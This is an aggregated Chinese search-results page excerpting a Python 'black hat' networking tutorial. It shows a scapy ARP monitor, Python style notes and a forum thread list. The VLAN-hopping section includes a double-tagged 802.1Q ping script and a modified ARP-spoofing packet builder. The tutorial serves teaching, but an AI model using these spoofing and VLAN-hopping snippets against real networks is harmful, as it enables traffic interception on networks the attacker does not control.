精华内容
下载资源
问答
  • python黑帽编程

    2019-03-25 09:47:11
    python黑帽编程中文版
  • VLAN(Virtual Local Area Network)是基于以太网交互技术构建的虚拟网络既可以将同一物理网络划分成多个 VALN也可以跨越物理网络障碍将 同子网中的用户划到同一个VLAN中这篇文章主要介绍了Python黑帽编程 3.4 跨越...
  • Python黑帽编程 3.2 ARP监控在第3.1节中,我们学习了ARP的基本原理,使用Python实现了我们自己的ARP欺骗工具。在上一节的基础上,我们来实现一个ARP监控程序,该程序存储局域网中所有的IP和MAC对应关系,如果有新...

    Python黑帽编程 3.2 ARP监控

    在第3.1节中,我们学习了ARP的基本原理,使用Python实现了我们自己的ARP欺骗工具。在上一节的基础上,我们来实现一个ARP监控程序,该程序存储局域网中所有的IP和MAC对应关系,如果有新加入的机器会动态添加到列表中,如果有机器的ARP记录发生了变化,会发出警告。

    实现这个程序的关键,只有一点,就是监听网络中ARP数据包。Scapy中的sniff方法可以满足我们对ARP监听的需求。

    3.2.1 sniff方法

    sniff方法是用来嗅探数据的,我们首先使用help查看一下此方法的使用说明:

    图2

    sniff(count=0, store=1, offline=None, prn=None, lfilter=None, L2socket=None, timeout=None, opened_socket=None, stop_filter=None, *arg, **karg)

    Sniff packets

    sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2ListenSocket args) -> list of packets

    count: number of packets to capture. 0 means infinity

    store: wether to store sniffed packets or discard them

    prn: function to apply to each packet. If something is returned,

    it is displayed. Ex:

    ex: prn = lambda x: x.summary()

    lfilter: python function applied to each packet to determine

    if further action may be done

    ex: lfilter = lambda x: x.haslayer(Padding)

    offline: pcap file to read packets from, instead of sniffing them

    timeout: stop sniffing after a given time (default: None)

    L2socket: use the provided L2socket

    opened_socket: provide an object ready to use .recv() on

    stop_filter: python function applied to each packet to determine

    if we have to stop the capture after this packet

    ex: stop_filter = lambda x: x.haslayer(TCP)

    sniff()函数有一个重要的参数是filter,用来表示想要捕获数据包类型的过滤器,如只捕获ICMP数据包,则filter=”ICMP”;只捕获80端口的TCP数据包,则filter=”TCP and (port 80)”。其他几个重要的参数有:count表示需要不活的数据包的个数;prn表示每个数据包处理的函数,可以是lambda表达式,如prn=lambda x:x.summary();timeout表示数据包捕获的超时时间。

    sniff(filter="icmp and host 66.35.250.151", count=2)

    这段代码过滤icmp协议,host地址为66.35.250.151,捕获数据包个数为2个。

    sniff(iface="wifi0", prn=lambda x: x.summary())

    这段代码绑定网卡wifi0,对捕获的数据包使用summary进行数据汇总。

    sniff(iface="eth1", prn=lambda x: x.show())

    这段代码绑定网卡eth1,对数据包调用show方法,显示基本信息。

    如何使用sniff方法过滤ARP请求呢?看下面的代码:

    图3

    #!/usr/bin/python

    from scapy import sniff,ARP

    def watchArp(pkg):

    pass

    sniff(prn=watchArp,filter="arp",iface="eth0",store=0);

    这段代码先定义了一个空的watchArp方法,接收一个数据包对象,稍后我们会扩展该方法,用来提取数据包中的关键信息。接下来一行调用sniff方法,prn参数为watchArp方法,sniff会把捕获的数据包传递给该方法;filter我们指定了arp;iface是指定要监听的网卡为“eth0”;store设置为0,不存储数据包。

    数据包捕获就这样完成了,是不是体会到scapy的便捷性了呢?下面我们对捕获的数据包进行处理。

    3.2.2解析数据包

    首先我们定义一个字典变量,用来存储ip和MAC的对应关系。

    ip_mac = {}

    然后,我们完善watchArp方法。

    图4

    首先对ARP包做类型判断。

    if pkt[ARP].op == 2:

    print pkt[ARP].hwsrc + " " + pkt[ARP].psrc

    如果是ARP响应包,打印MAC地址和ip地址。紧接着判断ip地址是否存储过。

    if ip_mac.get(pkt[ARP].psrc) == None:

    print "Found new device " + \

    pkt[ARP].hwsrc + " " + \

    pkt[ARP].psrc

    ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc

    如果没有在我们的字典中,我们判断它是新加入网络的主机,打印出它的MAC和IP地址。如果在我们的字典中,但是MAC值不一样,肯定是某台机器变更了MAC地址,这是异常情况:

    elif ip_mac.get(pkt[ARP].psrc) and ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc:

    print pkt[ARP].hwsrc + \

    " has got new ip " + \

    pkt[ARP].psrc + \

    " (old " + ip_mac[pkt[ARP].psrc] + ")"

    ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc

    打印出现异常情况的主机,同时更新我们的字典。

    3.2.3完整代码

    将上面的代码拼装在一起,就是一个完整的例子了:

    #!/usr/bin/python

    from scapy.all import sniff,ARP

    from signal import signal,SIGINT

    import sys

    ip_mac = {}

    def watchArp(pkt):

    if pkt[ARP].op == 2:

    print pkt[ARP].hwsrc + " " + pkt[ARP].psrc

    # Device is new. Remember it.

    if ip_mac.get(pkt[ARP].psrc) == None:

    print "Found new device " + \

    pkt[ARP].hwsrc + " " + \

    pkt[ARP].psrc

    ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc

    # Device is known but has a different IP

    elif ip_mac.get(pkt[ARP].psrc) and ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc:

    print pkt[ARP].hwsrc + \

    " has got new ip " + \

    pkt[ARP].psrc + \

    " (old " + ip_mac[pkt[ARP].psrc] + ")"

    ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc

    sniff(prn=watchArp,filter="arp",iface="eth0",store=0);

    下面我们运行看看效果:

    图5

    3.2.3小结

    本节结合sniff和我们上一节的基础知识,做一个ARP监控的小例子。大家要学会举一反三,结合上一节的ARP欺骗,和本节的监控,二者是否可以结合呢?欢迎在微信订阅号的本篇文章下留言讨论。

    下一节,我们针对很多小型的路由交换设备存在的ARP缓存区溢出问题,一起来完善一个MAC洪水攻击的程序。

    第3.3节《MAC洪水攻击》已经在微信订阅号抢先发布,心急的同学进入订阅号(二维码在下方),从菜单“专栏”—>”Python黑帽编程”进入即可。

    查看完整系列教程,请关注我的微信订阅号(xuanhun521,下方二维码),回复“python”。问题讨论请加qq群:Hacking(1群):303242737   Hacking(2群):147098303。

    玄魂工作室-精彩不断

    展开全文
  • VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络...这篇文章主要介绍了Python黑帽编程 3.4 跨越VLAN 的相关资料,需要的朋友参考下
  • PYTHON 黑帽资料

    2017-03-31 17:40:09
    [Python黑客] python2.7和3.6同时使用的情况下使用pip安装jupyter attach_img agree New [Python黑客] Python黑帽编程 3.2 ARP监控 [Python黑

    https://bbs.ichunqiu.com/forum.php?mod=forumdisplay&fid=59&filter=typeid&typeid=173


    [Python黑客] python2.7和3.6同时使用的情况下使用pip安装jupyter attach_img agree New
    [Python黑客] Python黑帽编程 3.2 ARP监控
    [Python黑客] 一个爬取i春秋热门文章的多线程python爬虫编写 attach_img
    [Python黑客] Python黑帽编程 3.1 ARP欺骗
    [Python黑客] python 30行代码实现旁站查询 attachment heatlevel  ...23
    [Python黑客] python之提速千倍爆破一句话 attach_img heatlevel  ...2
    [Python黑客] Python渗透测试工具合集 attach_img
    [Python黑客] 用Python写维持会话的爬虫(全新手教程) attach_img heatlevel agree  ...2345
    [Python黑客] python实用脚本(查ip+定位+补天厂商+exp)
    [Python黑客] 【入门】6.Python WEB框架下集成乌云漏洞查询 attach_img agree
    [Python黑客] Python系列之——某上网行为管理系统getshell漏洞挖掘到exp编写 attach_img heatlevel agree  ...23
    [Python黑客] Python黑帽编程 3.5 DTP攻击
    [Python黑客] Python黑帽编程 4.1 Sniffer(嗅探器)之数据捕获
    [Python黑客] Python黑帽编程 4.0 网络互连层攻击概述
    [Python黑客] Python爬虫开发(二):整站爬虫与Web挖掘 attach_img
    [Python黑客] Python爬虫开发(三-续):快速线程池爬虫 attach_img
    [Python黑客] 爆破dvwa登录界面(用python打造爆破器) attach_img
    [Python黑客] Python勒索软件来袭,国产杀软集体失身 attach_img
    [Python黑客] SQL查询方法精华集 agree
    [Python黑客] 【Python核心编程】小脚本的微妙关系 attach_img
    [Python黑客] 【Python核心编程】入门的微妙关系 attach_img
    [Python黑客] Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016
    [Python黑客] Python爬虫开发(一):零基础入门 attach_img agree
    [Python黑客] Python爬虫开发(五):反爬虫措施以及爬虫编写注意事项 attach_img
    [Python黑客] Python爬虫开发(四):动态加载页面的解决方案与爬虫代理 attach_img

    .......


    展开全文
  • Python黑帽编程2.1Python编程哲学 本节的内容有些趣味性,涉及到很多人为什么会选择Python,为什么会喜欢这门语言。我带大家膜拜下Python作者的Python之禅,然后再来了解下Python的编程规范。 2.1.1 ZEND OF ...

    Python黑帽编程2.1  Python编程哲学

    本节的内容有些趣味性,涉及到很多人为什么会选择Python,为什么会喜欢这门语言。我带大家膜拜下Python作者的Python之禅,然后再来了解下Python的编程规范。

    2.1.1 ZEND OF PYTHON

    在Kali中启动终端,输入Python,进入交互模式。

    图2

    输入命令

    import this

     

    “一首诗”呈现在我们眼前。

    图3

    内容如下:

     

    Beautiful is better than ugly.      
    优美胜于丑陋
    Explicit is better than implicit.   
    明了胜于晦涩
    Simple is better than complex.      
    简单胜过复杂
    Complex is better than complicated.
    复杂胜过凌乱
    Flat is better than nested.      
    扁平胜于嵌套
    Sparse is better than dense.     
    间隔胜于紧凑
    Readability counts.          
    可读性很重要
    Special cases aren't special enough to break the rules.  
    即使假借特例的实用性之名,也不违背这些规则
    Although practicality beats purity.   
    虽然实用性次于纯度
    Errors should never pass silently.   
    错误不应该被无声的忽略
    Unless explicitly silenced.       
    除非明确的沉默       
    In the face of ambiguity, refuse the temptation to guess.
    当存在多种可能时,不要尝试去猜测
    There should be one-- and preferably only one --obvious way to do it.
    应该有一个,最好只有一个,明显能做到这一点
    Although that way may not be obvious at first unless you're Dutch.
    虽然这种 方式可能不容易,除非你是python之父
    Now is better than never.   
    现在做总比不做好
    Although never is often better than *right* now.
    虽然过去从未比现在好
    If the implementation is hard to explain, it's a bad idea.
    如果这个实现不容易解释,那么它肯定是坏主意
    If the implementation is easy to explain, it may be a good idea.  
    如果这个实现容易解释,那么它很可能是个好主意
    Namespaces are one honking great idea -- let's do more of those!
    命名空间是一种绝妙的理念,应当多加利用

     

    关于这段圣经般的描述,我这里也不做过多解释了,随着编程经验的丰富,理解也会越来越深刻。此刻,你只需默默的读一遍,然后放到自己的收藏夹里。

    2.1.2 编码规范

    下面的内容很重要,建议初学者当做金科玉律来遵守。

    对于初学者,我必须要强调的是,Python没有C语言那样的大括号,可以表示代码块和代码之间的层级关系,也没有VB那样的begin…end,它是靠缩进来表示这些的。对于用惯了大括号的的程序员来说,多少会有些不适应,因为有大括号的情况下,我们可以随意调整缩进,让代码按照我们的审美来排列,但是在Python里就不能这么做了。看下面一个简短的示例:

    stringStest = 'abcdefghijk'
     
    for char in stringStest[1:]:
    if char !='c':
    print 'not c'

     

    这段代码很简单,首先声明了一个字符串变量stringStest,然后遍历字符串中的中的字符,判断是不是字母“c”,如果不是打印“not c”。运行之后,会看到如下错误:

    图4

    简单的分析下,for循环和变量声明处于同级,二者目前作为测试代码的顶级,不需要缩进。if条件判断是for的子集,应该有4个空格的缩进,print语句是if的子集,应该和if参照再有4个空格的缩进。修改完毕的代码如下:

    图5

    运行结果如图6.

    图6
    下面我把PEP8的Python编码规范转引过来,翻译不是我的原创,来自于http://damnever.github.io/2015/04/24/PEP8-style-guide-for-python-code/,感谢damnever的辛苦付出,请大家点击链接阅读原文。

     

    第2.2节《数据类型》已经在微信订阅号抢先发布,心急的同学进入订阅号(二维码在下方),从菜单“网络安全”—>”Python黑帽编程”进入即可。

     

    由于教程仍在创作过程中,在整套教程完结前,感兴趣的同学请关注我的微信订阅号(xuanhun521,下方二维码),我会第一时间在订阅号推送图文教程和视频教程。

    转载于:https://www.cnblogs.com/ichunqiu/p/5811968.html

    展开全文
  • VLAN(Virtual Local Area ... 以上所述是小编给大家介绍的Python黑帽编程 3.4 跨越VLAN详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对脚本之家网站的支持!

    VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个VLAN中。图2是一个VLAN划分的例子。

    图2

    实现VLAN的方式有很多种,基于交换设备的VLAN划分,一般有两种:

    l 基于交换机的端口划分

    l 基于IEEE 802.1q协议,扩展以太网帧格式

    基于第二层的VLAN技术,有个Trunking的概念,Trunking是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端口就称为Trunk端口。除了80.2.1q之外,思科有自己的Trunk协议叫ISL。

    图3

    图3是802.1q的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了VLAN Tag。红色部分的VLAN Identifier标识了一个数据包属于哪个VLAN,从而保证了数据广播的范围不会跨越VLAN。

    现在做简单的思考,想要跨越VLAN通信,是不是只要修改数据包中的标识符就可以了呢?

    3.4.1 VLAN Hopping

    基于上面的分析,我们考虑一个简单的场景:跨VLANping,从Vlan1的一个主机发送一个ping请求到Vlan2中的一个主机。

    在具体编码前,我们还是要先解决VLAN数据包构造的问题,在Scapy中我们使用Dot1Q类来构造图3中的Tag部分。如图4。

    图4

    下面我们可以编写一个跨VLAN的ping请求了。

    #!/usr/bin/python

    from scapy.all import *

    packet = Ether(dst="c0:d3:de:ad:be:ef") / \

    Dot1Q(vlan=1) / \

    Dot1Q(vlan=2) / \

    IP(dst="192.168.13.3") / \

    ICMP()

    sendp(packet)

    上面的代码我们指定了目标主机的MAC和IP地址,添加了两个VLAN标识,第一个是发送数据的主机所在的VLAN,第二个是目标主机所在的VLAN。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。

    3.4.2 跨VLAN的ARP欺骗

    3.1、3.2和3.3节我们都在讨论ARP欺骗的问题,由于VLAN限制了广播域,我们之前的代码是无法跨VLAN进行ARP欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的ARP欺骗数据中插入VLAN标识即可。下面这段代码是我们在3.1节构造ARP请求数据包的代码。

    def build_req():

    if options.target is None:

    pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])

    elif options.target:

    target_mac = getmacbyip(options.target)

    if target_mac is None:

    print "[-] Error: Could not resolve targets MAC address"

    sys.exit(1)

    pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

    return pkt

    在构造数据包的部分,我们插入VLAN标识:

    pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

    这样就可以实现跨VLAN的ARP欺骗了。

    3.4.3 小结

    本节主要讲了如何构造欺骗VLAN的数据包,达到跨VLAN数据通信和ARP欺骗的目的。需要注意的是,本文的方法主要针对802.1Q协议,对以端口进行物理隔离的的VLAN没有效果。

    以上所述是小编给大家介绍的Python黑帽编程 3.4 跨越VLAN详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对脚本之家网站的支持!

    展开全文
  • Python黑帽编程3.5 DTP攻击 在上一节,《Python黑帽编程3.4跨越VLAN》中,我们讨论了一般的VLAN中实施攻击的方法,这一节属于扩展内容,简单演示下Cisco特有的DTP协议的攻击方法。 由...
  • Python黑帽第二篇文章将分享Python网络攻防基础知识,看看Python能做什么,以及正则表达式、网络爬虫和套接字通信入门基础。本文参考了i春秋ADO老师的课程内容,这里真心推荐大家去学习ichunqiu的课程,同时也结合...
  • Python黑帽编程1.2基于VS Code构建Python开发环境0.1本系列教程说明本系列教程,采用的大纲母本为《Understanding Network Hacks Attack and Defense with Python》一书,为了解决很多同学对英文书的恐惧,解决看书...
  • Python 黑帽编程 1.1~4.2(玄魂工作室)
  • Python黑帽编程3.4跨域VLAN VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络障碍,将不同子网中的...
  • Python黑帽编程1.2 基于VS Code构建Python开发环境0.1 前言上一节,历尽艰辛,我们安装、更新和配置了Kali Linux系统,本节在此基础上安装VS Code和它的Python插件,用来开发和调试Python程序。1.1 安装VS CODE在...
  • 在上一节,《Python黑帽编程 3.4 跨越VLAN》中,我们讨论了一般的VLAN中实施攻击的方法,这一节属于扩展内容,简单演示下Cisco特有的DTP协议的攻击方法。由于条件限制,本节的代码我没有在实际环境下测试,不保证...
  • Python黑帽第一篇文章将分享获取Windows主机信息,利用注册表获取主机名及USB历史痕迹、回收站文件等,这些知识广泛应用于电子取证、Web渗透和攻击溯源领域,其中USB获取是亮点。希望这篇基础文章对您有所帮助,更...
  • Python黑帽编程2.5 函数

    2017-01-11 10:06:00
    Python黑帽编程2.5函数 写了几节的基础知识,真心感觉有点力不从心。这块的内容说实话,看文档是最好的方式,本人的写作水平,真的是找不出更好的写法,头疼。简单带过和没写一样,写详细了和本系列教程又不搭。...
  • Python黑帽编程2.6 模块

    2017-01-11 10:04:00
    Python黑帽编程2.6模块 我们已经学习了如何在你的程序中定义一次函数而重用代码。如果你想要在其他程序中重用很多函数,那么你该如何编写程序呢?你可能已经猜到了,答案是使用模块。模块基本上就是一个包含了所有...
  • Python黑帽编程2.4流程控制 本节要介绍的是Python编程中和流程控制有关的关键字和相关内容。 2.4.1IF…..ELSE 先上一段代码: #!/usr/bin/python # -*- coding: UTF-8 -*- x=int(input('请输入一个整数:')) if ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 463
精华内容 185
关键字:

python黑帽

python 订阅